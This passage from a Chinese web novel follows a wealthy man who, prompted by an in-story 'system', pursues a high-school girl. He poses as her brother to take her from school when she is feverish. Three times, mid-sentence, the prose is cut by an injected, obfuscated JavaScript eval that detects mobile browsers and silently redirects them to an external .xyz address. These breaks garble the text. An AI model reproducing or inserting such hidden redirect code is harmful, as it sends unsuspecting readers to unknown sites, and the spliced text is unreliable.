王瑜收回目光,呆呆看她几秒,点头:“好吧,那我先走了。” 如此两次被打断,江知意终于忍不住道:“我们换个地方说话行吗?这儿人太多,他们一看见我就要过来说几句。” “行。”傅延青很爽快,“上车,我送你回家,车上说。” “不行。”江知意赶紧后退一步。 车是封闭空间,路线完全由傅延青掌控,她还没搞清楚他的目的,就这么贸然坐他的车太危险了。 男人似乎是第一次被拒绝,脸上罕见地闪过一丝愣怔,接着他扭头,微微蹙眉,眉眼在夜色的笼罩下显出一种微妙的不悦。 但很快,那股细微的情绪就消失了。 他又恢复成淡淡神色,问:“怎么?” “我不坐陌生人的车。” “陌生人?”傅延青竟然笑了,“原来如此。” 他取出车钥匙锁了车,继续问:“那你说去哪儿?” “沿着这条路往下走就行,我走一站再坐公交也一样。” 傅延青同意了。 两人沿着路边走了几分钟后,学生渐渐少了。 傅延青先开口:“说吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585778|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江知意停下脚步。 她停下,傅延青也跟着停下,看着她等她开口。 “你能不能……”江知意努力组织着合适的语言,“下次不要在那么显眼的地方等我?你知道高三生活很枯燥的,一点点小事他们都会翻来覆去说好久,我和你说话被他们看见,他们一定会不停地来问我我们什么关系,我们怎么认识的。” “我不知道怎么回答他们,所以下次能不能……” 最后半句即便她没说完,傅延青也懂了她的意思。 这话说得不算礼貌,但男人并没有生气,只是微微蹙起眉,似乎是因为她的话才意识到这个角度。 “你不希望他们看见我和你说话?”傅延青反问。 江知意点头,斟酌着回道:“我没有精力应付他们的好奇心,我只想专心学习。” 说完看到手里的练习册,江知意又补充:“练习册的钱我回去转给你,谢谢,再见。” “江知意。”傅延青叫住她。 他缓步走近她,平静道:“谢礼,你打算送我什么?” “……”这还是江知意第一次见有人如此直白地开口要谢礼。 她今天还没来得及想这件事,不免卡壳,磕磕绊绊道:“打火机、袖扣一类的。” 傅延青抬手,看了眼自己的银色袖扣,问道:“你知道我的袖扣多少钱吗?” “……不知道。” “十八万。”男人轻描淡写说出一个她无法想象的数字后接着问,“那你知道我的打火机多少钱吗?” “……” “七万。” 江知意闭嘴了。 好吧,她是有些自不量力了,可傅延青说这些是什么意思? 嘲笑她穷吗? “这些东西我一样都不缺,江知意,我帮你只是举手之劳,不是为了什么谢礼。” 男人轻轻扯了下嘴角:“如果你觉得我和你说话是打扰你,那就这样吧。” 身后喇叭声响起,一辆公交车从两人身侧开过,停在不远处的公交车站。 傅延青看一眼车,语调疏离到近乎冷漠:“车来了,你回吧。” 他说完转身,头也不回地朝校门口走去。 江知意看着他的背影,喉咙像被什么堵住了一样,说不出话。 她好像说错话了。 有那么一瞬间,她想叫住他。 可是叫住了又该说什么呢? 他说的是事实,他什么都不缺,她能送得起什么? 公交车又按着喇叭开走了。 江知意站在原地,听到喇叭声才回神。 她不再想傅延青,匆忙向公交车站跑去。 远处,傅延青坐在车里,若有所思地看着江知意等车。 等车的过程中,她低头取出手机点了几下,下一秒,他的手机响起提示音。 是江知意给他转了练习册的钱。 没多少,二十来块。 他扫了一眼,没有收,又将手机扔向一旁的座椅。 系统好奇问道:“宿主,怎么不收?” “收了不就和她两清了吗。”傅延青耐心道,“你相不相信,下次她见到我时,会主动和我说话。” 说完这句话,男人嘴角弯起一个愉悦的弧度,和刚才夜色下的淡淡疏离全然不同。 又一辆公交车靠站,见江知意上了车,傅延青也发动车离开了学校。 8. Round 1 江知意回家补完练习册已是一点多。 眼皮几乎下一秒就要合上,她强打起精神,展开信纸给奶奶写完回信才上床睡觉。 第二天来到教室,不出所料,从她进门的那一刻起,就开始有同学愣愣盯着她。 她能对那些目光视而不见,却没办法对王瑜视若无睹。 江知意拉开凳子坐下,王瑜立刻凑上来:“诶,昨天校门口什么情况啊?你们认识?” “不认识。”江知意脱口而出。 “不认识?” “前天我去养老院看奶奶丢了东西,正好被他捡到,所以他来还给我。”江知意言简意赅地解释。 王瑜听完倒是没多怀疑。 那人看起来非富即贵,而大家只是普通学生,用着一两块的笔,吃着三四块的街边摊,这样两个世界的人,怎么可能会有交集。 她语气遗憾道:“唉,还以为你认识他呢。” “我要认识他你就怎样?”见王瑜趴在桌子上叹气,江知意忍不住打趣。 “抱你大腿,见见有钱人是怎么生活的呗!像我们这种普通群众,连人家是怎么花钱的都不知道,那句话怎么说的来着?贫穷限制了我的想象力!” 不知怎的,昨晚傅延青说过的话蓦地在她脑子里响起。 “你知道我的袖扣多少钱吗?” “那你知道我的打火机多少钱吗?” …… 托傅延青的福,她好像还真知道了一点他们是怎么花钱的。 十八万,七万,她对这些钱连概念都没有,傅延青却可以用这些钱随随便便买一对袖扣、一个打火机。 可恶的有钱人。 “唉。”王瑜怅然若失地又叹几口气,翻出昨天的作业道,“不提了不提了,马上早读了,趁老师还没来,你帮我看道题吧?” “好啊。”江知意凑过去。 早上数学课,数学老师绕着过道转悠时,目光再次刻意地落到她的作业上。 这次江知意写完了,一题不落,他便不再多说,边讲题边走开了。 偶尔他会点同学起来回答问题,点到江知意时,江知意总能淡定说出解题思路,甚至比参考书上的思路还简洁,老师无话可说,只能略一点头,让她坐下。 如此过了一周,江知意明显感觉到数学老师放在她身上的注意力变少了。 或许初时他认为开学考试是江知意运气好,是她侥幸,但这段时间以来,他大概也明白过来那就是她的真实水平。 江知意很高兴自己的实力又一次得到认可。 而这一周里,傅延青没有再出现过。 那天的转账他没有收,一直到24小时自动退款他都没有回复一个字。 转账退回后,江知意打字想说点什么,但最终什么也没说。 她转过账了,是傅延青自己不收。 她又何必在这儿思来想去,庸人自扰。 或许傅延青对她真的只是顺手一帮吧。 如果他不再出现的话,江知意想。 * 但十天以后,傅延青又出现了。 这一次他的出现很低调,至少江知意没看到李博趴在窗边眼巴巴盯着他的车看。 她是在一个很巧合的场景下突然看到他的。 她下楼去上厕所,穿过一楼走廊时,副校长办公室的门突然打开,傅延青就那么猝不及防地出现在她视线中。 紧接着,副校长也走了出来,站在傅延青身边说着什么。 副校长此人,一贯凶且严厉,江知意对他最大的印象就是喜欢在升旗后的领导讲话环节批评人,但此刻,他面对傅延青的样子,表情和善得简直让江知意不敢认。 江知意愣了几秒,回过神,见傅延青没发现她,加快步伐从他们身后绕过。 侧身而过的一瞬间,一直听副校长说话的傅延青忽然低眸,盯着江知意从他身后走了过去。 傅延青:…… 系统:“别看了宿主,她就是在躲你。” 傅延青:“?” 他不信这个邪,快速结束与副校长的对话,放慢速度在江知意回教室的必经之路上等她。 没多久,江知意上完厕所回来,看到他竟然还没有离开学校,明显一愣。 傅延青确信她看到他了。 但下一秒,江知意微微垂眼,一副没看到他的样子,跟着人流,若无其事从他身旁走过。 傅延青:…… 他扯了扯嘴角,觉得荒唐,险些气笑。 傅延青:“所以她真把我当陌生人了?看见我跟没看见一样,见了面装不认识?” 系统肯定道:“是的。” 为什么? 傅延青想问。 他什么时候受过这样的待遇? 系统好心提醒:“宿主,你不觉得她有点怕你吗?” “怕我?” “是的,你太凶了,把人家吓着了。” 傅延青:“……” “对了,宿主上次问我相不相信下次见面时她会主动和你说话——”系统补上最后一刀,“不相信。” 傅延青额头青筋突突跳了几下。 * 傅延青从未遇到过这样的滑铁卢。 他向来处事不惊,但或许是这件事超出他的预期,惹得他不时皱眉,终于引起了旁人的注意。 “你最近怎么了?”贺凌舟问,“什么事惹你烦心了?又是你那个弟弟?” 酒会上觥筹交错,衣香鬓影,灯光落在众人的华服上,散发出柔和的光影。 知道傅延青不喜欢人靠近,贺凌舟举着红酒在他对面坐下:“与其皱眉,不如说来听听?” 贺凌舟算是圈里一个能和他说得上话的朋友,背景也可称得上一句“资本”。 他口中的弟弟,指的是傅延青同父异母的弟弟。 用系统的话来说,这个弟弟,才是这个世界的中心人物,用一个词来形容,就是“男主”。 如贺凌舟所说,这个弟弟确实让他觉得很麻烦,但此刻让他觉得麻烦的,另有其人。 傅延青摇晃着酒杯里的红酒,靠在沙发上看着酒会的众人,若有所思开口:“我看起来凶吗?” 噗嗤一声,系统先笑出声。 贺凌舟:“???” 他不明白傅延青怎么会问出这种问题,愣了一秒反应过来:“突然问这个,怎么,有人说你凶?”他想笑,“就算有人说你凶,依你的性格,你怎么会在意?” 贺凌舟语气揶揄:“看来说这话的人挺重要?” 想到江知意,傅延青轻笑一声:“很重要。” 能从傅延青嘴里听到这三个字可不容易,贺凌舟顿时来了兴致,起身换到傅延青左侧的沙发上继续问:“你是不是看上谁了?” 傅延青不置可否:“你还没回答我的问题。” “我看看。”贺凌舟眯起眼睛,作势打量,“高眉骨,高鼻梁,薄唇,凶倒是不凶,就是面相凉薄,一看就不好接近。” 傅延青冷冷撇他一眼。 “不过也不影响。”看他眼神不悦,贺凌舟赶紧改口,“像你这样的条件,真看上谁了想追谁,还不是轻而易举的事。” “追?”傅延青好笑,“你想多了。” “是吗。”贺凌舟笑眯眯,“我还以为铁树开花、冰山化水了,原来不是。” 宴会上还在放轻缓的古典曲,傅延青抿了口红酒,静静道:“上次我说送她回家,让她上车,她拒绝了。” 而且还是毫不犹豫。 贺凌舟一口酒呛在嗓子眼里,没等缓过来,傅延青继续:“她挺怕我,见面也只会装不认识。” 贺凌舟呛得更厉害了。 身后的服务生及时递上水,贺凌舟连喝几口,才不可思议地看向傅延青。 老天。 傅延青是什么人?傅氏集团的掌权人。 傅氏集团又是什么来头?娱乐业、投资业、酒店业和医药业全面开花的超级大集团。 江市哪个有头有脸的见了傅延青不得客客气气叫一声“傅总”? 结果今天傅延青告诉他,他想送一个女人回家被拒了? 这话要不是傅延青亲口说的,他肯定觉得是谁在造谣。 不仅拒绝傅延青送她回家,见了面还装不认识,可以啊。 挺有胆气。 贺凌舟好奇心被勾起:“谁啊?什么来头?” “没什么来头。” “她知道你是谁吗?” “……”傅延青顿了一下,“我是谁对她没什么影响。” 这下贺凌舟也搞不懂了。 说实话他太好奇这个人是谁了,抓心挠肺地想知道究竟是什么人能给傅延青这种待遇。 可傅延青没有说的意思,贺凌舟自然也不会上赶着多问。 只能看着傅延青百思不得其解。 “别看了。”傅延青用杯底敲了下桌面,“说说,你觉得她为什么怕我。” 贺凌舟坐正,眯起眼睛将傅延青从头到脚看了一遍。 抛开男人的资源和家底不提,仅看外表,傅延青也是相当出色的那一类。 五官优越,气质从容稳重,身材更是衣架子,穿什么都是鹤立鸡群的存在。 即便他的长相不在某一类人的审美点上,但那一类人也会承认,客观上他是帅气的。 贺凌舟看他半晌,说:“可能是因为你太端着了。” “女人都喜欢甜言蜜语,喜欢温柔的男人,你放下身段对人家温柔点,说不定人家就不怕了。”他幸灾乐祸,“不过能让我们傅大总裁去讨好的女人,这世界上恐怕还不存在吧。” 傅延青睨他一眼,无视他后半句,只重复:“温柔?” 贺凌舟只是随口一说,压根不觉得傅延青会当真,可看他颇为在意地重复,不由傻了。 不会吧不会吧? 难道傅延青真要按他说的去讨好那个女人? 正主认真,他一个出主意的自然不能再吊儿郎当。贺凌舟当即正色,清清嗓子:“对,你要温柔点对她,就像温柔对待你的花一样。” 他知道傅延青在家养了一阳台的花,且从不让旁人碰他的花。 要说傅延青对什么最用心,那一定是他的花。 “花?”傅延青瞬间失了兴致,不再看他,语气都变得懒散,“你以前追人就是这样追的?” 贺凌舟脸色微变,收起嬉笑神色,静默许久才道:“过去的事,就别再提了。” * 江知意回到座位上仍觉得心里像揣了只兔子一样。 扑通扑通静不下来。 她看见傅延青了。 太奇怪了,前一天她还在想如果没有这么多的巧合,如果傅延青很长一段时间甚至从此不再出现,她会相信他真的是做好事,顺手一帮。 可短短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585779|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一周,他又出现了。 而且好巧不巧,每次都让她看见。 她不瞎,也不是傻子,她现在越来越深刻地相信,这个男人一而再再而三地出现在她周围,一定是抱着什么目的。 和她有关吗? 逻辑告诉她是的,可理智又告诉她,怎么可能? 她不特殊,也不独一无二,傅延青图她什么? 她甚至觉得,走廊上的两次偶遇,都是傅延青有意为之的。 可这些,江知意又没办法告诉别人。 傅延青现在什么都没做,即便她说了,别人也只会觉得她杞人忧天而已。 她想起苏语琴,第一次迫切地希望苏语琴能早点回家。 * 傍晚时分,天下起雨来。 这场雨来得突然,从天阴到下雨,只隔了一个小时。 等到放学,雨依旧没有停的迹象。 窗外雨势滂沱,江知意咬着嘴唇,思考是一路淋回家好,还是打车回家好。 如果打车回家,她怕钱用得太快,会撑不到苏语琴回来。 “你没带伞吗?”王瑜看出什么,好心道,“我带了,要不咱俩挤一挤?” 她晃了晃手里的伞:“走吧,这么大的雨,一时半会儿肯定停不了。” 江知意笑了,点点头。 和王瑜挤在一把伞下走到车站,没等多久王瑜的车就来了。 王瑜看看车又看看她,问道:“要不我把伞借你吧?我家离得近,下车走两步就到。” “没事你赶紧回吧,我家也下车走两步就到。”江知意微笑着摇头,指指车站顶部,“再说了这还有挡雨的地方,淋不着的,车来了,你赶紧回吧。” 眼看大家就要上完车,王瑜只好道:“那好吧。” 她一边说着“明天见”,一边收伞上了车。 公交车很快开走。 天更黑了。 路边的树被狂风蹂躏,混着雷雨闪电,末日般压抑。 一层秋雨一层凉,早上出门还觉得暖和的衣服放到现在已经不够看,单薄得像一层纸,冷得江知意瑟瑟发抖,连牙齿都开始打颤。 刚才她和王瑜挤一把伞,不好意思让王瑜淋着,拼命给她留空间,结果就那么一段路,她右胳膊和右腿都湿透了。 冷风一吹,寒意直往骨头里钻。 她望着路边一辆辆家长接送的车,不免羡慕。 要是苏语琴也能来接她就好了。 没多久江知意的车也来了。 她坐了几站下车,将校服披在头顶,抱着书包一路跑回了家。 回到家又花了半个小时收拾自己。 吃完饭洗完热水澡后,江知意觉得身上暖融融的,像喝了烈酒一样,身上不停地有热意腾出。 她没多想,擦干头发裹了厚衣服就坐到书桌前开始写作业。 写完作业又是深夜,江知意收拾好书包上床睡觉,初时还一切正常,可到了后半夜,她觉得身上那股热意越来越重了。 意识处于半梦半醒间,好像一半在梦里,她来到一个满是岩浆和火山的地方,一半又在现实,她热得直扯被子。 极其不安稳的一觉。 五点多,她终于被热醒,这才意识到自己身上的不对劲儿。 头昏昏沉沉,手脚软绵无力,喉咙发干,嗓子疼得厉害。 种种迹象都在表明,她好像发烧了。 江知意艰难下床,先喝了杯水,再拿温度计量体温。 几分钟后,她看着三十八度五的显示,疲惫得叹了口气。 真的发烧了。 * “宿主,不好了。”系统提醒道,“江知意发烧了。” “嗯?”这会儿还是清晨,傅延青端着水正在阳台浇花,闻言他问,“怎么回事?” “昨天下雨她没带伞,淋着了,现在她收拾书包准备去学校。” 傅延青蹙眉:“她怎么不请假?” “宿主你忘啦?她父母都不在家,没人给她请假。” 浇花的动作忽然一顿,傅延青沉默。 手下的花迎风绽放,阳光似金子般洒在上面,生动,美丽,鲜活。 是被精心呵护的模样。 慢慢地,他想着什么,浇完最后一盆花后问:“意思是要我帮她请假,带她去看病吗?” 系统一笑:“其实有个更简单的办法。” “宿主,还记得我跟你提过的初始积分吗?” 傅延青“嗯”了声。 他记得。 100点初始积分,可以在特定情况下使用,帮助他完成任务。 “现在就是特定情况。”系统说,“只要江知意生病或者受伤,宿主就可以用积分来进行伤病转移。比如现在,宿主可以用10积分将江知意的病转移到自己身上,之后再找个机会让她发现,不出意外的话,她一定会感动的。” 伤病转移。 傅延青默默咀嚼这四个字。 “怎么样宿主,换吗?” “不换。”傅延青冷冷吐字。 帮她请假,可以;带她去看病,可以;照顾她,可以。 替她承担痛苦? 不可能。 他是攻略她,不是把自己卖了。 这种默默牺牲自己的戏码,他疯了才会去做。 男人放下水壶,拿起沙发上的外套道:“我现在就去学校带她看病。” 9. Round 1 江知意收拾好书包,见窗外还在下小雨,又默默加了件衣服。 临出门前,她摸了下额头,还是很烫。 都说人在生病的时候容易疲惫,这话不假。 譬如现在,还没出门江知意就有点累了。 她喝水吃完药,强打起精神,拿伞出了门。 外面的气温比昨天又低了几个度,寒风夹着细雨扑在脸上,像冰化开一样。 江知意手上没劲儿,连伞都有点拿不动,好几次都差点被风吹跑。 不仅如此,她还觉得自己身上又冷又热,一阵一阵的,一会儿发抖,一会儿又热得像进了蒸笼。 往常只要半个小时的路程被拉到了四十分钟。 来到教室坐下,王瑜第一个发现她不对劲儿,一脸担心问道:“江知意,你怎么了?脸色看起来特别差,不会是发烧了吧?” 江知意脑子昏沉沉的,“嗯”了一声点头:“有点。” “啊?”王瑜靠过来,用手背碰她额头,一瞬后惊讶,“好烫,这么烫你还来上学?” 她的手很冷,肌肤相触的凉意让江知意微微失神,而后她笑笑:“没事,我吃过药了。” 早读很快开始。 因为要透气,教室的窗户往往不会全关,会留上几扇。 江知意坐的位置刚好处于风口,阴冷的风不断从她脖子后吹过。 她拉了拉领口,将脖子遮严实,效果却微乎其微。 她还是觉得冷。 早上被热醒那会儿还全身发烫,身体像个大火炉,这会儿热气下去,就慢慢有置身冰窖的感觉。 随着身体发冷,江知意的脑子也越来越迟钝,课本上的字都开始变形,像歪歪扭扭的画一样。 她眨了下眼睛,越来越想睡觉。 这期间王瑜一直担忧地看她。 见她状态越来越不对,她低声道:“要不你还是请假回家吧,好好休息一下,明天再来。都怪我,我昨天应该把伞塞给你的,塞给你你就不会发烧了。” 江知意转头朝她笑笑,安慰道:“跟你没关系。” “你成绩这么好,一天……”王瑜还想再说,眼尖的英语老师已经发现了他们。 “你们两个不好好早读说什么呢!”老师走过来道。 王瑜看她一眼,下定决心道:“老师,江知意发烧了。” 江知意没来得及反应,只能呆呆看着老师。 “发烧了?”英语老师说着伸手摸她额头,摸完也吓一跳,“这么烫?江知意,你赶紧给你家长打电话来接你回家吧,回去病好了再来。” 她说完回头一瞪:“读你们的书,英语考几分啊还有空在这儿浪费时间!” 几个向这边偷看的同学吓得一抖,立刻埋头开始背单词。 “你带手机了吗?”英语老师转过来,放低声音问她,“带了就去给家长打个电话,让家长给你请假接你回家。” 江知意缓缓眨了下眼睛才明白过来老师的意思。 她想了想回答:“老师,我没带手机。” 其实她带了。 但她想,用老师的手机给苏语琴打电话,苏语琴应该就不会觉得她是撒谎骗人不想上学了。 江知意拿着英语老师的手机来到教室外,拨通了那个记得滚瓜烂熟的号码。 电话接通,苏语琴礼貌又优雅的声音传来:“你好哪位?” “妈妈。”江知意叫了一声,声音因为发烧没力气,显得软绵绵的,“是我。” 对面顿了一下。 “知意?怎么了,你拿谁的手机给我打的电话,你手机呢?” “是老师的手机,我的在家里。”江知意攥紧衣角,说,“妈妈,我发烧了,老师让我回家休息,你可不可以帮我跟班主任请一天假。” 说这句话时,江知意对苏语琴还有一丝期待。 期待她会像所有的父母一样,焦急地关心她,问她“怎么发烧的”“严不严重”“我马上来接你”这一类问题。 然而没有。 苏语琴声调都变了,语气透着不耐烦与怨怪:“你怎么回事,你成心来作践我的是不是?上次叫家长,这次又是请假,不到一个月你看看你给我找了几件事?” “可是……”江知意眼睛一热,“我难受。” “多难受?发烧能有多大的事?你是不是告诉老师你不舒服,想找借口不上学?谁让你告诉老师的?你高三了不上学打算干什么?”苏语琴的语气愈发咄咄逼人。 身体发冷的感觉还在继续,江知意难受得没有力气再反驳,只有眼泪滚滚而落。 又是这样。 她每一次对苏语琴的期待都只会换来失望。 她不说话,苏语琴也懒得再说,丢下一句“我是不会给你请假的”就挂断了电话。 电话里传来忙音,江知意握着电话,眼泪怎么擦也擦不干净。 她讨厌自己总是因为苏语琴哭。 可她就是忍不住。 她竭尽全力告诉自己不要期待,提前做好苏语琴说那些话的心理准备,可真的到了那一刻,她又委屈得怎么忍也忍不住。 为什么呢? 为什么她生病不舒服,苏语琴的第一反应不是关心她,而是质问她为什么要给老师说? 为什么同学朋友的家长里,只有苏语琴是这样? 或许是这一通电话时间太长,英语老师等不住,便出来看看情况。 刚一出教室门就看到她在擦眼泪。 “江知意,怎么了?给你家长打电话哭什么?”老师赶紧走过来问她。 “老师。”江知意忍着哽咽,努力平静道,“我家长不同意。” 她用校服袖子又擦了擦手机才还回去:“谢谢老师。” “诶等等。”见她要回教室,老师拉住她,“你都烧成这样了你家长还不同意?这样吧,我直接带你去见班主任。” 老师说完牵起她的手,带她向办公室走去。 江知意跟在后面,偷偷又擦了下眼泪。 班主任在的办公室是个大办公室,几个老师共用,因为是早读时间,留下的基本都是理科老师。 比如她们的班主任物理老师,以及高三才分来带他们的数学老师。 英语老师带着她进去,几个老师纷纷抬头。 “陈老师,你们班的江知意发烧了,我刚摸了烧得挺严重的,你看你要不给她家长打个电话,给她批个假?”英语老师率先开口。 “发烧了?”班主任惊讶,接着走过来也摸了下她的头,随即点头,“是挺烫的,那我给她家长打电话看看。” 班主任走回桌前,翻出家长通讯录,手指从第一个名字往下划,几秒后他开口:“苏语琴,你妈妈是吧?” 江知意嘴唇颤了颤,开口:“老师,我刚刚借英语老师的手机打过电话了,她不同意。” “诶急什么,你妈妈可能是不知道你烧的情况,怕耽误你学习,我再打电话问问。”班主任没犹豫,一个电话就拨了过去。 “喂你好,是江知意的家长吗?我是她的班主任陈老师,是这样的……” 班主任说了一遍她的情况,不知道苏语琴在那边回了什么,江知意只看到一分钟后他挂断电话,一脸无奈地说:“你妈妈说她没时间来接你。” 一句话江知意就懂了什么意思。 “你爸爸呢?你家里还有没有别的人能接你回家?” 江知意摇头:“没……” “她还有个哥哥。”正在写教案的数学老师抬起头,冷不丁地打断,“前段时间我找她的家长来谈她的情况,当时是她哥哥来的,她哥哥走之前还说,有什么事可以给他打电话,他来处理。” 数学老师说着,从抽屉里取出一张便签纸:“就是这个,她哥哥的电话。” 班主任赶紧接过:“那刚好,我给她哥哥打电话试试。” 江知意所有的话都卡在喉咙里,眼睁睁看着班主任拨通电话,十秒后又放下电话。 他笑眯眯说:“好了,你哥哥十分钟后来接你,你赶紧回去收拾书包吧,收拾完过来找我拿假条。” 英语老师见状也放下心:“那就好,走吧江知意,我带你回教室。” 回去的路仍是老师牵着她走的。 她领她到座位,帮她收拾好书包,然后对王瑜说:“王瑜,你带她去找班主任拿一下假条,然后送她到校门口吧,她哥哥马上就到。” 王瑜连连点头。 拿完假条,被王瑜扶着来到校门口,江知意一直都有种不真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585780|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实的感觉。 真的会有人来接她吗? 她知道这个所谓的哥哥是假的,那个人是傅延青,她不该和傅延青有什么牵扯,可是很莫名的,她竟然对“有人会来接她”这件事产生了期待。 就好像她真的有一个对她很好的家人,会在她需要时赶来接她一样。 天空还下着小雨,校门口的车一辆接一辆开过,江知意站得腿软,王瑜便向门口的保安借了凳子,扶着江知意坐下,任由她靠在自己身上。 不知过了多久。 或许是十秒,或许是一分钟,或许是五分钟。 一个撑着伞、一身黑的男人终于出现在江知意模糊的视线里。 他没开车,是步行从校门左边走过来的。 是傅延青来了。 王瑜见有人过来,轻轻拍她:“江知意,快看,有人来了,那是不是你哥哥……等等,这人好眼熟啊,他不就是……” 剩下的话断在口中,王瑜呆滞地看着傅延青在她们面前停下,然后听到男人开口:“你好,我是江知意的哥哥。” 王瑜傻了,疑惑开口:“可她之前说不认识你……” “之前我在国外,她不怎么见我,所以没认出来。”傅延青滴水不漏地解释,“是你们老师打电话让我来接她的。” 这个理由确实很有说服力,王瑜迟疑着点头:“好吧……” 她说着扶起江知意,对傅延青道:“那你好好照顾她,她烧得不轻。” “好。”傅延青说完转身,背对她们蹲下,“我背她回去。” 王瑜放下伞,手忙脚乱地扶她趴到傅延青背上,又手忙脚乱地帮傅延青调整伞的位置,以防淋到江知意。 被扶着趴上傅延青后背的一刻,江知意很想说不要,可是她全身都没力气。 耳边雨声淅淅沥沥,她张了张嘴,也不记得自己是说了还是没说。 总之,最后的结果是傅延青背着她站起,王瑜朝她挥了挥手,然后在傅延青的背上,她慢慢离开了学校。 这是江知意第一次趴男人的背。 江淮平很少在她身边陪她,更别提背她。 她将头埋在傅延青肩上,第一次发现原来男人的背宽厚又温暖。 是所有男人的背都是这样,还是只是傅延青的背是这样? 江知意脑子钝得厉害,想了半天又好像什么都没想,好一会儿她才想起傅延青今天是走路来的。 他竟然没开车。 车呢? 这么想着,江知意就不自觉问出了声:“车呢?” 男人闻言,微微偏头,声音带着一丝好笑:“怎么,上次说开车送你回家,你一秒拒绝,这次又想坐了?” 江知意眼神茫然地回看着他。 她很想继续问,可思绪闪过的下一秒,她就忘了自己要问什么。 她太疲惫了。 雨声在耳边越来越远,忽然之间,汽车的喇叭声也消失了。 世界仿佛按下了暂停键和静音键。 巨大的睡意席卷而来,她闭上眼,世界一片宁静。 傅延青没等到回答,倒是肩膀一沉。 江知意累得睡着了。 他停顿一秒,继续向前走去。 其实,他本来没打算背她的。 这些年他都很不喜欢外人的触碰,不喜欢各种肢体接触,可是贺凌舟说,要温柔。 这样,算不算温柔? 当江知意趴上他的背时,傅延青发现,他没有他想象中排斥她的接触。 她很轻。 轻到他有种“不用力护着她就会被风吹走”的错觉。 这么瘦,她平时吃的都是什么? 来到车前,傅延青拉开车门,将江知意在后座放下。 接着他又取出早就备好的毛毯盖在江知意身上。 她还在睡。 起身的瞬间,傅延青忽然发现,她连梦里都是微微蹙着眉的。 一副睡不安稳的模样。 像是时刻警惕周围会有什么危险。 这种极度没有安全感的模样,他还是头一次在这个年纪的女孩身上看到。 想到江知意一秒拒绝坐他的车,傅延青淡淡一笑,轻声道:“委屈你了,坐我的车。” 10. Round 1 江知意是在一个白色的房间醒来的。 白色的天花板,白色的墙,白色的被子。 一个全然陌生的环境。 她愣了几秒,想起最后的记忆是被傅延青带走,猛地从床上坐起。 江知意低头,首先发现自己的校服外套不见了,只剩下里面的衣服,接着抬头,又看见外套好好地挂在衣架上。 不止外套,还有她的书包。 她呆呆望了几秒,目露疑惑。 ……这是什么地方? 傅延青人呢? 陡然被人带到一个陌生的地方,说不害怕那是假的。 江知意的心咚咚跳着,她下了床,小心翼翼地向门口走去。 透过门上的玻璃,她看到外面是一条走廊,走廊上有两个人,一个她不认识,另一个,就是带她过来的傅延青。 下一瞬,傅延青似有所感,抬眸望了过来,两人的目光撞个正着。 接着他笑了,随口对旁边的人说了句什么,掐灭烟向她走来。 江知意慌忙后退,下一秒,门被打开。 走廊上的两个人一起走了进来。 傅延青没开口,倒是那人一脸高兴:“你醒了,怎么样,身上还烫不烫,还难受不难受?” 被他这么一问,江知意才想起发烧的事。 她摸了下额头,烧退了些,真的没之前那么难受了。 她没说话,那人自动领悟了她的意思,笑着点头:“看来是好多了,我再去给你开点药,不出意外明天就能好了。” 说完他看向傅延青,等傅延青点头,他才带上门退了出去。 一时间就剩傅延青和她两个人。 “好点了吗?”死寂般的安静后,傅延青先开口。 他没靠近,只是站在原地遥遥看着她问,看起来一副关心她的样子。 可江知意知道,这是傅延青的地方,只要他想,这里可以发生任何事。 江知意觉得自己每一根神经都绷紧了,生怕踏错一步,说错一个字。 “这是哪里?”她忍着害怕,尽量平静地问。 “私人病房。”傅延青言简意赅,“你不是发烧了吗,我带你来看病。” “我……不用你带我看病,我回家就好了。” “回家病怎么好?”男人皱眉,“刚才医生的话你也听到了,再开点药休息一下,明天就能好。你要是回家,怎么也得两天。” “不用。”江知意连连摇头,重复道,“我回家就好了。” 男人眉皱得更深:“你有急事?我的医生经验丰富,不比医院的差,在这儿能好得更快,为什么非要回家?” “我妈妈还在家等我。”江知意搬出苏语琴,“我没回家她会着急的,会到处找我,如果她问到老师那儿,我没法解释。” 傅延青听完不为所动。 他紧紧盯着她,好似完全不在意她家里人会着急,又或者,是看穿了她在说谎。 空气紧张得像要凝固,江知意竭力让自己看起来若无其事,问道:“我可以走了吗?” 傅延青低眸,思索了一秒,缓步向她走来,问出一个问题:“你很怕我?” 就在他迈步的同时,江知意也情不自禁地向后退去。 几乎是他迈几步她就退几步。 这副反应,不用江知意开口傅延青也知道了答案。 男人眸色一沉,停住脚步,接着问:“为什么怕我?” 江知意的心跳得越来越厉害,咚咚咚,跳得她喘不过气。 她确实怕他。 怕他这个人,也怕他未知的目的。 可她不能这么回答他,只能反问:“那你三番五次地帮我又是为什么?你想要什么?” 想要什么? 想要…… 傅延青自然无法回答她。 